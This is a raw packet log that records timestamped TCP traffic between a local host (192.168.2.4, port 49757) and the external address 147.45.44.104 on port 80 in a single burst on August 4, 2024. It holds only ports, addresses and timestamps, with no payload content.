Aug 4, 2024 02:21:37.397995949 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.398010969 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.398019075 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.398030996 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.398041010 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.398056030 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.398070097 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.398188114 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.398227930 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.398258924 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.398273945 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.398289919 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.398297071 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.398308039 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.398313999 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.398324013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.398333073 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.398344040 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.398356915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.431054115 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.431117058 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.431140900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.431150913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.431159973 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.431175947 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.431178093 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.431185007 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.431195974 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.431200981 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.431212902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.431222916 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.431240082 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.431255102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.481761932 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.481781960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.481820107 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.481859922 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.482333899 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.482382059 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.482393980 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.482398033 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.482424974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.482436895 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.482487917 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.482502937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.482517958 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.482528925 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.482547998 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.482579947 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.482654095 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.482669115 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.482683897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.482692003 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.482712030 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.482728958 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.482878923 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.482893944 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.482908964 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.482923985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.482923985 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.482942104 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.482948065 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.482958078 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.482974052 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.482990980 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.482997894 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.483017921 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.483056068 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.483266115 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.483280897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.483325958 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.483334064 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.483339071 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.483350039 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.483366013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.483371973 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.483381033 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.483393908 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.483396053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.483406067 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.483412981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.483428001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.483436108 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.483454943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.483489990 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.483655930 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.483670950 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.483717918 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.483783960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.483799934 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.483814001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.483814955 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.483831882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.483845949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.483860016 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.483886003 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.484003067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.484051943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.484070063 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.484085083 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.484111071 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.484138012 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.484180927 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.484195948 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.484211922 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.484220982 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.484236002 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.484252930 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.484412909 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.484427929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.484441996 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.484453917 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.484457970 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.484466076 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.484488010 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.484499931 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.484684944 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.484702110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.484719038 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.484724998 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.484734058 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.484744072 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.484751940 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.484755039 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.484770060 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.484776020 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.484786987 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.484788895 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.484802961 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.484807014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.484827995 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.484838963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.485021114 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.485034943 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.485057116 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.485061884 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.485074043 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.485074997 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.485090971 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.485091925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.485111952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.485114098 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.485126972 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.485146046 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.485151052 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.485167027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.485182047 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.485184908 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.485198021 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.485213041 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.485214949 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.485214949 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.485229015 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.485229969 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.485244036 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.485245943 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.485263109 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.485263109 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.485280991 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.485286951 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.485296965 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.485301971 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.485333920 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.485361099 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.485919952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.485934973 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.485949039 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.485963106 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.485966921 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.485977888 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.485985041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.485994101 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.486006021 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.486011028 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.486026049 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.486027002 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.486042976 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.486052990 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.486078978 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.486442089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.486457109 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.486473083 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.486481905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.486488104 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.486504078 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.486505032 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.486519098 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.486534119 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.486550093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.486551046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.486550093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.486563921 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.486567974 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.486574888 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.486586094 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.486591101 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.486608028 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.486628056 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.486812115 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.486824989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.486851931 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.486859083 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.486876011 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.486891031 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.486898899 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.486921072 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.486933947 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.487065077 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.487080097 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.487095118 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.487106085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.487111092 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.487121105 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.487126112 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.487139940 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.487142086 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.487149000 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.487159967 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.487166882 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.487185955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.487195015 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.487282991 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.487298012 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.487332106 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.487337112 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.487384081 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.519843102 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.519901037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.519906998 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.519944906 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.519949913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.519979000 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.519983053 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.520013094 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.520018101 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.520045042 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.520080090 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.520085096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.520133018 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.570388079 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.570467949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.570488930 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.570501089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.570521116 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.570524931 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.570537090 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.570550919 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.570561886 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.570571899 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.570585966 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.570599079 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.570605993 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.570635080 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.570745945 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.570780993 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.570822001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.570849895 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.570869923 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.570880890 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.570959091 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.570979118 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.571002007 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.571006060 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.571021080 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.571031094 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.571042061 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.571065903 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.571245909 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.571384907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.571405888 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.571427107 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.571446896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.571460009 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.571469069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.571491003 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.571499109 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.571512938 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.571520090 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.571537971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.571541071 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.571558952 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.571578026 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.571819067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.571840048 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.571865082 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.571866989 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.571877956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.571898937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.571923971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.571943998 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.571964025 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.571969986 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.571973085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.571995020 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.572006941 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.572016954 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.572031021 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.572040081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.572055101 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.572065115 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.572074890 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.572083950 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.572101116 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.572113037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.572118998 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.572156906 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.572567940 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.572622061 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.572649956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.572664022 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.572686911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.572702885 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.572715044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.572734118 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.572752953 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.572762966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.572765112 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.572786093 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.572798014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.572819948 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.572982073 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573000908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573026896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573026896 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573045969 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573050976 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573065042 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573076963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573088884 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573092937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.573122978 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573133945 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.573196888 CEST	80	49757	147.45.44.104	192.168.2.4
